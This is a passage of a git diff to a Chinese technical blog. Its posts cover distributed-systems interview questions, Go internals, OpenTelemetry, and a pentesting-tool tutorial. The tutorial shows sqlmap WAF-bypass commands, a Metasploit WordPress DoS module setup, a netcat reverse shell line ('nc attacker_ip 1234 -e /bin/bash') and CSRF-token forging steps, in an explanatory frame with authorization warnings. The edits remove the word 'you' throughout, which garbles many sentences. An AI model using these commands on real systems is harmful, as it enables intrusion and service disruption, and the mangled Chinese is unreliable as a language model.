优点：确保所有参与者都同步。 缺点：如果协调者崩溃，可能导致阻塞。 三阶段提交 (3PC)： -询问阶段：协调者询问所有参与者：“你现在是否有条件参与一个事务？” +询问阶段：协调者询问所有参与者：“现在是否有条件参与一个事务？” 准备阶段：如果所有的参与者都回应可以，协调者会说：“请准备提交但不要真的提交，等我的命令。” 提交/中止阶段：基于参与者准备好的反馈，协调者再决定是让参与者真正提交还是中止事务。 @@ -631,7 +631,7 @@ Exporters：一旦数据被捕获，它需要被发送到一个后端系统（ **引入超时机制： 与2PC不同，3PC为事务的每个阶段设定了超时时间。当某个阶段超时后，参与者可以根据当前的事务阶段和已知的系统状态来独立做出决策，而不是无期限地等待协调者的命令。** -> 假设你正在设计一个电商平台，其中订单、库存和支付三个服务都在不同的数据库中。当用户下单时，如何确保这三个服务中的数据操作都成功或都失败？ +> 假设正在设计一个电商平台，其中订单、库存和支付三个服务都在不同的数据库中。当用户下单时，如何确保这三个服务中的数据操作都成功或都失败？ Saga模式： diff --git a/_posts/2023-10-9-test-markdown.md b/_posts/2023-10-9-test-markdown.md index 877dc4d79a29..660d553d1fbd 100644 --- a/_posts/2023-10-9-test-markdown.md +++ b/_posts/2023-10-9-test-markdown.md @@ -9,24 +9,24 @@ tags: [分布式] ## Part1 基础理论： -请解释CAP定理。你如何看待它在实际的系统设计中的应用？ -什么是强一致性和最终一致性？你在项目中如何选择？ +请解释CAP定理。如何看待它在实际的系统设计中的应用？ +什么是强一致性和最终一致性？在项目中如何选择？ 系统设计： 如何设计一个可扩展的分布式系统？请给出一些关键的原则或组件。 -请描述一个你曾经参与设计或维护的分布式系统的架构。你们是如何处理数据一致性的？ +请描述一个曾经参与设计或维护的分布式系统的架构。们是如何处理数据一致性的？ 故障和恢复： -如果分布式系统中的一个节点失败，你会如何处理？如何快速恢复？ -请描述一个你遇到的真实的分布式系统问题和你是如何解决的。 +如果分布式系统中的一个节点失败，会如何处理？如何快速恢复？ +请描述一个遇到的真实的分布式系统问题和是如何解决的。 工具和技术： -你使用过哪些分布式系统的中间件或框架？如Kafka、Zookeeper、etcd等。 -描述一个场景，你需要使用某个特定的技术或工具来解决分布式相关的问题。 +使用过哪些分布式系统的中间件或框架？如Kafka、Zookeeper、etcd等。 +描述一个场景，需要使用某个特定的技术或工具来解决分布式相关的问题。 性能和优化： 如何监控分布式系统的性能？使用过哪些工具？ -当分布式系统出现性能瓶颈时，你通常如何优化？ +当分布式系统出现性能瓶颈时，通常如何优化？ 实际应用： 在一个电商网站背后的分布式系统中，如何保证库存的一致性？ @@ -102,7 +102,7 @@ Kafka 如何保证消息的有序性： 分区 (Partitions)：Kafka 的主题 (Topics) 被划分为多个分区，每个分区内的消息都是有序的。即，每条消息在被写入分区时都被赋予了一个唯一的、递增的偏移量（offset）。因此，当消费者从特定分区消费消息时，它会按照消息的偏移量的顺序来消费。 -如果我们使用消息的key来决定消息被分配到哪个分区，那么确切的分区选择会基于该key的哈希值。但为了简化这个例子，我们可以假设简单的轮询策略，即逐一地为每个分区选择消息。这样，你的理解是基本正确的。 +如果我们使用消息的key来决定消息被分配到哪个分区，那么确切的分区选择会基于该key的哈希值。但为了简化这个例子，我们可以假设简单的轮询策略，即逐一地为每个分区选择消息。这样，的理解是基本正确的。 使用这种简化的轮询策略，消息的分配可能如下： @@ -271,7 +271,7 @@ etcd 是 Kubernetes 的核心组件，用于持久化保存整个 Kubernetes 集 > 描述Kafka中的主题、分区和副本的概念。 -主题 (Topic)：Kafka 中数据的分类单位。当你想在 Kafka 中发送一个消息时，你会发送到一个特定的主题。 +主题 (Topic)：Kafka 中数据的分类单位。当想在 Kafka 中发送一个消息时，会发送到一个特定的主题。 分区 (Partition)：每个主题可以分为多个分区。分区允许 Kafka 垂直地扩展，因为每个分区都可以独立于其他分区进行数据读写。 @@ -408,4 +408,4 @@ Zookeeper的写性能为什么通常被认为是一个瓶颈？有什么办法 扩展性和未来趋势： 如何扩展Kafka集群以支持更高的吞吐量？ Zookeeper和etcd在大规模集群中可能会遇到哪些扩展性问题？ -对于Kafka、Zookeeper和etcd的未来发展，你有什么看法或预测？ \ No newline at end of file +对于Kafka、Zookeeper和etcd的未来发展，有什么看法或预测？ \ No newline at end of file diff --git a/_posts/2023-11-10-test-markdown.md b/_posts/2023-11-10-test-markdown.md index af255b60682c..3b7b8b194f5c 100644 --- a/_posts/2023-11-10-test-markdown.md +++ b/_posts/2023-11-10-test-markdown.md @@ -75,7 +75,7 @@ Shodan: 互联网搜索引擎，用于查找各种在线设备。 > 基础搜索 -在搜索框中输入你想搜索的关键字，例如“webcam”。 +在搜索框中输入想搜索的关键字，例如“webcam”。 按下Enter键，Shodan会列出与关键字相关的设备。 > 使用过滤器 @@ -86,7 +86,7 @@ port:21：只显示开放了21端口（FTP）的设备。 os:Windows：只显示运行Windows操作系统的设备。 使用Shodan API -Shodan还提供了API，允许你在自己的应用程序中进行搜索。你需要从Shodan网站获取API密钥。 +Shodan还提供了API，允许在自己的应用程序中进行搜索。需要从Shodan网站获取API密钥。 以下是一个使用Python和Shodan API进行搜索的简单示例： @@ -117,7 +117,7 @@ theHarvester 是一款用于收集电子邮件地址、子域名、主机、开 > 安装 -首先，你需要安装 theHarvester。如果你使用的是 Kali Linux，该工具可能已经预安装了。如果没有，你可以通过以下命令进行安装： +首先，需要安装 theHarvester。如果使用的是 Kali Linux，该工具可能已经预安装了。如果没有，可以通过以下命令进行安装： ```bash git clone https://github.com/laramies/theHarvester.git @@ -141,7 +141,7 @@ python3 theHarvester.py -d example.com -b google python3 theHarvester.py -d example.com -b bing ``` 使用多个数据源 -你还可以使用多个数据源来进行更全面的信息收集。例如： +还可以使用多个数据源来进行更全面的信息收集。例如： ```bash python3 theHarvester.py -d example.com -b google,bing,linkedin @@ -167,7 +167,7 @@ MacOS 安装 brew install sqlmap ``` Linux 安装 SQLmap -如果你使用的是 Kali Linux，SQLmap 可能已经预安装了。如果没有，你可以通过以下命令进行安装： +如果使用的是 Kali Linux，SQLmap 可能已经预安装了。如果没有，可以通过以下命令进行安装： ```bash git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev @@ -176,24 +176,24 @@ git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev > 基础用法 测试 GET 参数 -假设你有一个目标 URL，它的 id 参数可能存在 SQL 注入漏洞： +假设有一个目标 URL，它的 id 参数可能存在 SQL 注入漏洞： ```bash http://example.com/page.php?id=1 ``` -你可以使用以下命令来测试这个参数： +可以使用以下命令来测试这个参数： ```bash python sqlmap.py -u "http://example.com/page.php?id=1" ``` 测试 POST 参数 -如果目标使用 POST 方法提交数据，你可以使用 -data 参数： +如果目标使用 POST 方法提交数据，可以使用 -data 参数： ```bash python sqlmap.py -u "http://example.com/page.php" --data="id=1" ``` 使用 Cookie -如果需要，你还可以添加 Cookie 数据： +如果需要，还可以添加 Cookie 数据： ```bash python sqlmap.py -u "http://example.com/page.php?id=1" --cookie="PHPSESSID=abc123" @@ -217,10 +217,10 @@ python sqlmap.py -u "http://example.com/page.php?id=1" -D database_name -T table python sqlmap.py -u "http://example.com/page.php?id=1" -D database_name -T table_name -C column1,column2 --dump ``` 高级用法 -SQLmap 还有很多高级选项，如使用代理、绕过 WAF、进行延时测试等。你可以通过运行 python sqlmap.py -h 来查看所有可用选项。 +SQLmap 还有很多高级选项，如使用代理、绕过 WAF、进行延时测试等。可以通过运行 python sqlmap.py -h 来查看所有可用选项。 使用代理 -要通过代理服务器运行 sqlmap，你可以使用 --proxy 参数： +要通过代理服务器运行 sqlmap，可以使用 --proxy 参数： ```bash sqlmap -u "http://target.com/vuln.php?id=1" --proxy="http://127.0.0.1:8080" @@ -236,7 +236,7 @@ sqlmap -u "http://target.com/vuln.php?id=1" --tamper="between,randomcase,space2c 这里，between、randomcase 和 space2comment 是 tamper 脚本，用于修改 SQL 语句以绕过 WAF。 进行延时测试 -如果你想控制请求之间的时间延迟，可以使用 --delay 和 --timeout 参数： +如果想控制请求之间的时间延迟，可以使用 --delay 和 --timeout 参数： ```bash sqlmap -u "http://target.com/vuln.php?id=1" --delay=0.5 --timeout=30 ``` @@ -255,23 +255,23 @@ Burp Suite: Web应用安全测试工具。 > 设置代理 打开 Burp Suite，转到 "Proxy" -> "Options"。 确保代理监听器处于活动状态，默认监听地址通常是 127.0.0.1:8080。 -在你的 Web 浏览器中，设置 HTTP 代理为 Burp Suite 的监听地址。 +在的 Web 浏览器中，设置 HTTP 代理为 Burp Suite 的监听地址。 > 拦截请求 在 Burp Suite 中，转到 "Proxy" -> "Intercept"。 确保 "Intercept is on" 已经启用。 -在浏览器中访问一个网站，你应该能在 Burp Suite 中看到拦截到的 HTTP 请求。 +在浏览器中访问一个网站，应该能在 Burp Suite 中看到拦截到的 HTTP 请求。 > 爬虫和扫描 在拦截到的请求上右键，选择 "Send to Spider" 或 "Send to Scanner"。 -如果选择了 "Spider"，转到 "Target" -> "Site map"，你会看到爬虫开始收集的 URL。 -如果选择了 "Scanner"，转到 "Dashboard"，你会看到扫描的进度和结果。 +如果选择了 "Spider"，转到 "Target" -> "Site map"，会看到爬虫开始收集的 URL。 +如果选择了 "Scanner"，转到 "Dashboard"，会看到扫描的进度和结果。 > 其他功能 "Repeater" 可用于手动修改和重新发送 HTTP 请求。 "Decoder" 可用于解码和编码各种数据格式。 "Comparer" 可用于比较两个或多个数据集。 -注意：未经授权的渗透测试是非法的。确保你有明确的授权来使用这些工具和技术。 +注意：未经授权的渗透测试是非法的。确保有明确的授权来使用这些工具和技术。 ## 操作系统和网络层测试 @@ -343,16 +343,16 @@ exploit/multi/http/wp_plugin_sp_project_document_rce 是一个 exploit 类型的 auxiliary/scanner/http/wordpress_xmlrpc_login 是一个 auxiliary 类型的模块，用于扫描 WordPress 站点以查找有效的 XML-RPC 登录凭据。它不需要身份验证（No）。 -这些模块通常用于渗透测试或安全研究，但也可能被用于非法活动。因此，在使用这些模块之前，请确保你有适当的授权和合法的目的。 +这些模块通常用于渗透测试或安全研究，但也可能被用于非法活动。因此，在使用这些模块之前，请确保有适当的授权和合法的目的。 基础使用 -搜索模块：在 Metasploit 控制台中，你可以使用 search 命令来查找特定的漏洞或模块。 +搜索模块：在 Metasploit 控制台中，可以使用 search 命令来查找特定的漏洞或模块。 ```bash search wordpress ``` -选择模块：找到你想使用的模块后，使用 use 命令来选择它。 +选择模块：找到想使用的模块后，使用 use 命令来选择它。 ```bash use auxiliary/dos/http/wordpress_xmlrpc_dos @@ -364,7 +364,7 @@ show options ``` 设置参数：使用 set 命令来设置参数。 -设置目标主机（RHOSTS）: 这是你想要攻击的目标服务器的 IP 地址或域名。 +设置目标主机（RHOSTS）: 这是想要攻击的目标服务器的 IP 地址或域名。 ```bash set RHOSTS target.com @@ -379,7 +379,7 @@ set RPORT 8080 ```bash set RLIMIT 1000 ``` -设置目标 URI（TARGETURI）: 如果 WordPress 安装在子目录中，你需要设置这个。 +设置目标 URI（TARGETURI）: 如果 WordPress 安装在子目录中，需要设置这个。 ```bash set TARGETURI /wordpress/ @@ -389,7 +389,7 @@ set TARGETURI /wordpress/ ```bash set SSL true ``` -设置代理（Proxies）: 如果你想通过代理进行攻击，可以设置这个选项。 +设置代理（Proxies）: 如果想通过代理进行攻击，可以设置这个选项。 ```bash set Proxies http:127.0.0.1:8080 @@ -399,7 +399,7 @@ set Proxies http:127.0.0.1:8080 ```bash set VHOST virtualhost.com ``` -运行攻击: 一旦所有设置都完成，你可以运行攻击。 +运行攻击: 一旦所有设置都完成，可以运行攻击。 ```bash run @@ -415,9 +415,9 @@ set PASSWORD password123 ```bash exploit ``` -有效载荷（Payloads）：某些模块允许你设置不同类型的有效载荷。你可以使用 show payloads 查看可用的有效载荷，并用 set PAYLOAD 来设置。 +有效载荷（Payloads）：某些模块允许设置不同类型的有效载荷。可以使用 show payloads 查看可用的有效载荷，并用 set PAYLOAD 来设置。 -获取会话（Sessions）：成功的攻击通常会创建一个会话，你可以用 sessions 命令查看它们。 +获取会话（Sessions）：成功的攻击通常会创建一个会话，可以用 sessions 命令查看它们。 ```bash sessions -l @@ -450,7 +450,7 @@ nc -l 1234 ```bash nc localhost 1234 ``` -现在，你可以在客户端终端中输入文本，并在服务器终端中看到相同的文本。 +现在，可以在客户端终端中输入文本，并在服务器终端中看到相同的文本。 文件传输 @@ -465,7 +465,7 @@ nc localhost 1234 < send_file.txt ``` 端口扫描 -你可以使用 Netcat 执行基础的端口扫描。 +可以使用 Netcat 执行基础的端口扫描。 ```bash nc -zv localhost 20-80 @@ -488,7 +488,7 @@ nc attacker_ip 1234 -e /bin/bash 目标机器: 这是攻击者试图访问或控制的计算机。在给出的例子中，nc attacker_ip 1234 -e /bin/bash 是在目标机器上运行的。这个命令会连接到攻击者机器，并执行 /bin/bash，从而允许攻击者通过网络执行 shell 命令。 -简单来说，如果你是目标（被攻击者），你不会在自己的机器上运行 nc attacker_ip 1234 -e /bin/bash，因为这样做会给攻击者提供对你机器的控制权。相反，攻击者会尝试某种方式让你的机器执行这个命令，以便他们能够控制你的机器。 +简单来说，如果是目标（被攻击者），不会在自己的机器上运行 nc attacker_ip 1234 -e /bin/bash，因为这样做会给攻击者提供对机器的控制权。相反，攻击者会尝试某种方式让的机器执行这个命令，以便他们能够控制的机器。 @@ -646,11 +646,11 @@ CSRF 令牌是 MD5 或 Base64 编码值。可以解码该值并在该算法中 假设一个应用程序使用 MD5 算法和一个固定的值（比如 "122"）来生成 CSRF 令牌。这样，MD5("122") 就会生成一个特定的 CSRF 令牌，比如 "a0a080f42e6f13b3a2df133f073095dd"。 攻击步骤： -识别算法：首先，你需要识别出应用程序是如何生成 CSRF 令牌的。这可能需要一些逆向工程或代码审计。 +识别算法：首先，需要识别出应用程序是如何生成 CSRF 令牌的。这可能需要一些逆向工程或代码审计。 -生成新令牌：一旦你知道了算法和用于生成令牌的值（在这个例子中是 "122" 和 MD5 算法），你就可以生成一个新的令牌。比如，使用 "123" 作为新的值，然后计算 MD5("123")。 +生成新令牌：一旦知道了算法和用于生成令牌的值（在这个例子中是 "122" 和 MD5 算法），就可以生成一个新的令牌。比如，使用 "123" 作为新的值，然后计算 MD5("123")。 -替换令牌：最后，你可以在发送到服务器的请求中使用这个新生成的 CSRF 令牌，从而绕过 CSRF 保护。 +替换令牌：最后，可以在发送到服务器的请求中使用这个新生成的 CSRF 令牌，从而绕过 CSRF 保护。 如果应用程序没有其他额外的安全检查，这种方法就有可能成功。 @@ -690,15 +690,15 @@ CSRF token由两部分组成。静态部件和动态部件。 这种情况下，如果应用程序在验证 CSRF 令牌时只检查静态部分（即 "shahmeer7424"），那么攻击者可以只使用这一部分来绕过 CSRF 保护。 如何进行攻击： -识别静态和动态部分：首先，你需要确定令牌中哪一部分是静态的，哪一部分是动态的。 +识别静态和动态部分：首先，需要确定令牌中哪一部分是静态的，哪一部分是动态的。 -构造新令牌：然后，你可以使用静态部分构造一个新的 "有效" 令牌。在这个例子中，你可以使用 "shahmeer7424" 加上任意的动态部分。 +构造新令牌：然后，可以使用静态部分构造一个新的 "有效" 令牌。在这个例子中，可以使用 "shahmeer7424" 加上任意的动态部分。 替换令牌：最后，在发送到服务器的请求中使用这个新构造的令牌。 如果应用程序只检查令牌的静态部分，那么这种攻击就有可能成功。 注意： -这种方法需要你能够识别出 CSRF 令牌的静态和动态部分，这可能需要一些逆向工程或代码审计。 +这种方法需要能够识别出 CSRF 令牌的静态和动态部分，这可能需要一些逆向工程或代码审计。 这种方法也假设应用程序的 CSRF 令牌验证机制存在缺陷。 \ No newline at end of file diff --git a/_posts/2023-11-11-test-markdown.md b/_posts/2023-11-11-test-markdown.md index 65d4972a9eab..8b5dc2cd5019 100644 --- a/_posts/2023-11-11-test-markdown.md +++ b/_posts/2023-11-11-test-markdown.md @@ -62,34 +62,34 @@ SpanID：还原调用堆栈 高并发和大规模数据处理 如何在高并发环境下准确地追踪每一个请求？ -在大规模数据处理中，你是如何优化追踪性能的？ +在大规模数据处理中，是如何优化追踪性能的？ 跨服务和跨语言支持 在一个微服务架构中，如何确保跨服务和跨语言的一致性？ -你是如何处理不同服务或语言中的数据格式不一致问题的？ +是如何处理不同服务或语言中的数据格式不一致问题的？ 数据安全和隐私 -在涉及敏感数据的追踪中，你是如何确保数据安全的？ +在涉及敏感数据的追踪中，是如何确保数据安全的？ 如何处理GDPR等数据保护法规？ 网络延迟和错误处理 -你是如何量化和追踪网络延迟的？ -在出现网络错误时，你是如何进行故障排除和恢复的？ +是如何量化和追踪网络延迟的？ +在出现网络错误时，是如何进行故障排除和恢复的？ 可视化和监控 -你是如何实现追踪数据的实时可视化的？ +是如何实现追踪数据的实时可视化的？ 如何设置警报和监控，以便及时发现问题？ 与现有系统的集成 -你是如何将分布式追踪与现有的监控和日志系统集成的？ +是如何将分布式追踪与现有的监控和日志系统集成的？ 在集成过程中遇到了哪些问题，又是如何解决的？ 成本和资源优化 -分布式追踪会带来额外的成本和资源消耗，你是如何进行优化的？ +分布式追踪会带来额外的成本和资源消耗，是如何进行优化的？ 有没有考虑到存储和查询效率？ 开源与商业工具 -你有没有使用开源工具进行分布式追踪？与商业工具相比，优缺点是什么？ +有没有使用开源工具进行分布式追踪？与商业工具相比，优缺点是什么？ ```go diff --git a/_posts/2023-11-12-test-markdown.md b/_posts/2023-11-12-test-markdown.md index ba679dd1ab9a..0a4ff398830f 100644 --- a/_posts/2023-11-12-test-markdown.md +++ b/_posts/2023-11-12-test-markdown.md @@ -38,9 +38,9 @@ OTel Collector 是一个设计高度可插拔拓展的系统。这样的设计 在撰写本文时，有两个分发版：Core 和 contrib。核心分发版的命名恰如其分，仅包含核心模块。但贡献版呢？全部。可以看到它包含了一长串的接收模块、处理模块和导出模块的列表。 定制化收集器分发版的构建 -如果核心版和贡献版都无法完全满足你的需求，你可以使用 OpenTelemetry 提供的 ocb 工具自定义自己的收集器分发版本。该工具可以帮助你选择和组合需要的功能和组件，以创建符合你特定需求的自定义收集器分发版本。这样你既可以获得所需的功能，又能避免贡献版中的不必要组件。 +如果核心版和贡献版都无法完全满足的需求，可以使用 OpenTelemetry 提供的 ocb 工具自定义自己的收集器分发版本。该工具可以帮助选择和组合需要的功能和组件，以创建符合特定需求的自定义收集器分发版本。这样既可以获得所需的功能，又能避免贡献版中的不必要组件。 -为了使用 ocb 工具构建自定义的收集器分发版本，你需要提供一个 YAML 清单文件来指定构建的方式。一种简单的做法是使用 contrib manifest.yaml ，在该文件的基础上删除不需要的组件，以创建适合应用程序需求的小型清单。这样你就可以得到一个只包含必要组件的自定义收集器分发版本，以满足当前收集器场景，而且没有多余的组件。 +为了使用 ocb 工具构建自定义的收集器分发版本，需要提供一个 YAML 清单文件来指定构建的方式。一种简单的做法是使用 contrib manifest.yaml ，在该文件的基础上删除不需要的组件，以创建适合应用程序需求的小型清单。这样就可以得到一个只包含必要组件的自定义收集器分发版本，以满足当前收集器场景，而且没有多余的组件。 ```yaml dist: module: github.com/trstringer/otel-shopping-cart/collector diff --git a/_posts/2023-11-13-test-markdown.md b/_posts/2023-11-13-test-markdown.md index 15e4d858b910..e6f110bfdb5b 100644 --- a/_posts/2023-11-13-test-markdown.md +++ b/_posts/2023-11-13-test-markdown.md @@ -219,7 +219,7 @@ Execute(sql string, maxRows int) 方法是对 directConnection.Execute() 的直 ```go // ResourcePool allows you to use a pool of resources. -// ResourcePool允许你使用各种资源池，需要根据提供的factory创建特定的资源，比如连接 +// ResourcePool允许使用各种资源池，需要根据提供的factory创建特定的资源，比如连接 type ResourcePool struct { resources chan resourceWrapper factory Factory @@ -627,7 +627,7 @@ type Resource interface { } // ResourcePool allows you to use a pool of resources. -// ResourcePool允许你使用各种资源池，需要根据提供的factory创建特定的资源，比如连接 +// ResourcePool允许使用各种资源池，需要根据提供的factory创建特定的资源，比如连接 type ResourcePool struct { resources chan resourceWrapper factory Factory diff --git a/_posts/2023-11-14-test-markdown.md b/_posts/2023-11-14-test-markdown.md index 1ac2ab642465..e10a59ee7cad 100644 --- a/_posts/2023-11-14-test-markdown.md +++ b/_posts/2023-11-14-test-markdown.md @@ -38,7 +38,7 @@ comments: true 简而言之，持久化日志主要用于故障恢复，而不是用于在运行时改变协议的行为。 -> 实际应用: 请描述一个你曾经参与的，使用2PC解决分布式事务问题的项目。特别是遇到的问题和如何解决的。 +> 实际应用: 请描述一个曾经参与的，使用2PC解决分布式事务问题的项目。特别是遇到的问题和如何解决的。 我没有实际参与过使用2PC的项目，但一个常见的应用场景是分布式数据库系统。在这样的系统中，2PC可以用于确保跨多个节点的事务一致性。 @@ -126,7 +126,7 @@ DoCommit 阶段: 在这个阶段，协调者发送DoCommit消息，正式开始 在3PC的提交阶段发生网络分区可能会导致一致性问题。解决方案可能包括使用更复杂的一致性算法，如Paxos或Raft，或者在网络分区解决后手动解决不一致。 -> 实际应用: 请描述一个你曾经参与的，使用3PC解决分布式事务问题的项目。 +> 实际应用: 请描述一个曾经参与的，使用3PC解决分布式事务问题的项目。 但在实际应用中，3PC通常用于需要高度一致性和可恢复性的分布式系统。可能的应用场景包括分布式数据库、金融交易系统等。 diff --git a/_posts/2023-11-5-test-markdown.md b/_posts/2023-11-5-test-markdown.md index 744cd2fc982c..215df26f901b 100644 --- a/_posts/2023-11-5-test-markdown.md +++ b/_posts/2023-11-5-test-markdown.md @@ -37,8 +37,8 @@ Go 中的 `map` 是一个无序的键值对集合，其底层实现是哈希表 - 在 Go 的 `map` 中删除键值对不会立即释放内存。相反，该位置会被标记为"已删除"，并在后续的扩容操作中得到清理。 6. **安全性和并发**: - - Go 的 `map` 不是并发安全的。如果你在多个 goroutine 中同时对同一个 `map` 进行读写，这可能会导致未定义的行为。 - - 为了在并发环境中使用 `map`，你应该使用互斥锁（例如 `sync.Mutex`）或者使用特定的并发安全数据结构，例如 `sync.Map`。 + - Go 的 `map` 不是并发安全的。如果在多个 goroutine 中同时对同一个 `map` 进行读写，这可能会导致未定义的行为。 + - 为了在并发环境中使用 `map`，应该使用互斥锁（例如 `sync.Mutex`）或者使用特定的并发安全数据结构，例如 `sync.Map`。 7. **空间优化**: - Go 中的 `map` 实现对空间进行了优化，确保了即使有大量的空桶，`map` 也不会浪费太多的内存。 @@ -57,7 +57,7 @@ goroutine 在写时，就会发生数据竞争。如果没有适当的同步机 效果：数据竞争和上述问题可能导致如下的后果：程序崩溃、map 返回不正确的值、程序行为不稳定、程序难以调试等。 -解决方法：为了避免这些问题，你需要确保在多个 goroutine 中对同一个 map 的并发访问是受到适当同步的。你可以使用互斥锁（例如 sync.Mutex）来确保每次只有一个 goroutine 可以访问 map。 +解决方法：为了避免这些问题，需要确保在多个 goroutine 中对同一个 map 的并发访问是受到适当同步的。可以使用互斥锁（例如 sync.Mutex）来确保每次只有一个 goroutine 可以访问 map。 > Go 语言channel的底层实现 @@ -76,22 +76,22 @@ channel 在内部被表示为一个结构体，这个结构体包含了缓冲区 channel 使用了内部的同步原语，如互斥锁和信号量，来确保并发访问的安全性。 发送和接收的操作： -当你向一个 channel 发送数据时，Go 会首先检查是否有在该 channel 上等待的接收者。如果有，数据将被直接传递给接收者。如果没有，数据将被放入 channel 的缓冲区（如果可用）。 +当向一个 channel 发送数据时，Go 会首先检查是否有在该 channel 上等待的接收者。如果有，数据将被直接传递给接收者。如果没有，数据将被放入 channel 的缓冲区（如果可用）。 当从 channel 接收数据时，Go 会首先检查 channel 的缓冲区。如果缓冲区中有数据，它会被返回。如果没有，接收者将等待，直到有数据可用。 关闭机制： channel 可以被关闭，表示不会有更多的数据被发送到 channel。这对于通知接收者没有更多的数据可用非常有用。 选择器： -Go 的 select 语句允许 goroutine 等待多个通信操作，使得你可以同时监听多个 channel。 +Go 的 select 语句允许 goroutine 等待多个通信操作，使得可以同时监听多个 channel。 > 关闭channel 的时候有没有什么需要注意的点 -重复关闭：不要尝试重复关闭同一个 channel。这将导致运行时恐慌（panic）。为了避免这种情况，确保你清楚地知道哪个 goroutine 负责关闭特定的 channel。 +重复关闭：不要尝试重复关闭同一个 channel。这将导致运行时恐慌（panic）。为了避免这种情况，确保清楚地知道哪个 goroutine 负责关闭特定的 channel。 仅由发送者关闭：一般来说，只应该由发送数据到 channel 的 goroutine 来关闭它。这样可以避免在关闭 channel 时还有其他 goroutine 向它发送数据的风险。 -检测关闭的 channel：当从一个已关闭的 channel 接收数据时，你将收到该类型的零值。你还可以使用两值的接收形式来确定 channel 是否已关闭： +检测关闭的 channel：当从一个已关闭的 channel 接收数据时，将收到该类型的零值。还可以使用两值的接收形式来确定 channel 是否已关闭： ```go v, ok := <-ch @@ -99,11 +99,11 @@ if !ok { // channel 已经关闭并且所有数据都已被接收 } ``` -不要关闭只接收的 channel：如果你的 goroutine 只是从 channel 接收数据，不要尝试关闭它。通常情况下，关闭操作应该由发送数据的一方处理。 +不要关闭只接收的 channel：如果的 goroutine 只是从 channel 接收数据，不要尝试关闭它。通常情况下，关闭操作应该由发送数据的一方处理。 -nil channel：nil channel 既不会接收数据，也不会发送数据。尝试从 nil channel 发送或接收数据会永远阻塞。但你可以安全地关闭一个 nil channel，它不会有任何效果。 +nil channel：nil channel 既不会接收数据，也不会发送数据。尝试从 nil channel 发送或接收数据会永远阻塞。但可以安全地关闭一个 nil channel，它不会有任何效果。 -关闭后发送数据：一旦 channel 被关闭，你不应再向其发送数据。如果尝试这样做，程序将引发恐慌。 +关闭后发送数据：一旦 channel 被关闭，不应再向其发送数据。如果尝试这样做，程序将引发恐慌。 清晰的结束信号：关闭 channel 通常用作向接收方发送结束信号，表示没有更多的数据将被发送。接收方可以继续从 channel 接收数据，直到所有已发送的数据都被接收，之后从已关闭的 channel 接收数据将返回零值。 diff --git a/_posts/2023-11-6-test-markdown.md b/_posts/2023-11-6-test-markdown.md index ae5ccaae9ae9..212f268665ea 100644 --- a/_posts/2023-11-6-test-markdown.md +++ b/_posts/2023-11-6-test-markdown.md @@ -41,7 +41,7 @@ comments: true 避免直接在页面上插入用户数据。 使用更新和维护的库和框架，因为它们通常包括XSS防护措施。 -> 描述一种你熟悉的加密算法，并解释其工作原理。 +> 描述一种熟悉的加密算法，并解释其工作原理。 描述：AES（高级加密标准）是一种广泛使用的对称密钥加密算法。在对称密钥加密中，相同的密钥用于加密和解密数据。AES支持128、192和256位密钥长度，通常称为AES-128、AES-192和AES-256。 @@ -60,7 +60,7 @@ AES是基于块的加密算法，这意味着它在给定时间内加密固定 密钥和子密钥: -AES可以使用128位、192位或256位的密钥。加密过程需要多个加密轮，其中每一轮都需要一个子密钥。这些子密钥是从你提供的初始密钥派生出来的。具体地说，AES-128需要10轮，AES-192需要12轮，AES-256需要14轮。 +AES可以使用128位、192位或256位的密钥。加密过程需要多个加密轮，其中每一轮都需要一个子密钥。这些子密钥是从提供的初始密钥派生出来的。具体地说，AES-128需要10轮，AES-192需要12轮，AES-256需要14轮。 加密轮的步骤: @@ -74,7 +74,7 @@ AES可以使用128位、192位或256位的密钥。加密过程需要多个加 输出: -在最后一轮之后，你得到一个128位的加密块。这个块是原始数据块的加密版本。 +在最后一轮之后，得到一个128位的加密块。这个块是原始数据块的加密版本。 > 如何在Go中安全地存储敏感数据（例如密码）？ @@ -178,7 +178,7 @@ func main() { 工具和库： -你使用过哪些Go安全库或工具？请描述你的经验。 +使用过哪些Go安全库或工具？请描述的经验。 > crypto: Go的标准库提供了crypto包，它包含了一些加密算法的实现，例如AES、RSA等。 > secure: 这个库提供了一些安全增强功能，例如为HTTP cookies设置安全标志。 @@ -189,11 +189,11 @@ func main() { > gosec: 这是一个Go源代码安全扫描器，它可以检测代码中的常见安全问题。 -> 描述你最近解决的一个安全相关的问题或挑战。 +> 描述最近解决的一个安全相关的问题或挑战。 最近解决的一个安全问题可能与API安全有关。例如，使用OAuth2和JWT令牌来增强API的安全性，防止未经授权的访问。 -> 如果你的Go应用遭受DDoS攻击，你会怎么做？ +> 如果的Go应用遭受DDoS攻击，会怎么做？ 应急响应 流量分析: 尽快分析流量模式以确定是否确实是DDoS攻击。 @@ -217,7 +217,7 @@ IP黑名单: 临时阻止明显进行攻击的IP地址。 性能监控: 使用Go的性能工具或第三方应用来监控系统性能。 后期审计与改进 影响分析: 攻击后，进行深入分析以了解攻击的影响。 -持续改进: 根据最近的攻击，更新你的防御策略和机制。 +持续改进: 根据最近的攻击，更新的防御策略和机制。 > 描述零知识证明（Zero-Knowledge Proofs）及其潜在的用途。 @@ -228,7 +228,7 @@ IP黑名单: 临时阻止明显进行攻击的IP地址。 基本概念 证明者 (Prover): 拥有某个信息（或称为“见证”）并希望证明其真实性的实体。 验证者 (Verifier): 希望证明者证明某个陈述真实性但又不希望证明者透露更多信息的实体。 -例如，假设你拥有一个密码，你可以通过零知识证明的方式向我证明你确实知道这个密码，但你并不会在过程中把密码透露给我。 +例如，假设拥有一个密码，可以通过零知识证明的方式向我证明确实知道这个密码，但并不会在过程中把密码透露给我。 基本属性 完备性（Completeness）: 如果陈述是真实的，那么诚实的证明者总是可以成功地证明给诚实的验证者。 @@ -236,11 +236,11 @@ IP黑名单: 临时阻止明显进行攻击的IP地址。 可靠性（Soundness）: 如果陈述是假的，那么没有办法通过证明来欺骗验证者。 潜在的用途 -身份验证: 在不泄露密码或私钥的情况下，证明你是你声称的人。 +身份验证: 在不泄露密码或私钥的情况下，证明是声称的人。 安全交易和匿名支付: 在交易中证明资金的来源和合法性，而不需要透露交易的全部细节。 -数据隐私和权限管理: 证明你有权访问或修改某个数据集，而不需要透露你具体的访问权限或身份。 +数据隐私和权限管理: 证明有权访问或修改某个数据集，而不需要透露具体的访问权限或身份。 智能合约和区块链: 零知识证明可以用于创建更为私密和安全的区块链交易。 -数字版权和所有权: 在不透露具体内容的情况下，证明你拥有某项内容的合法权益。 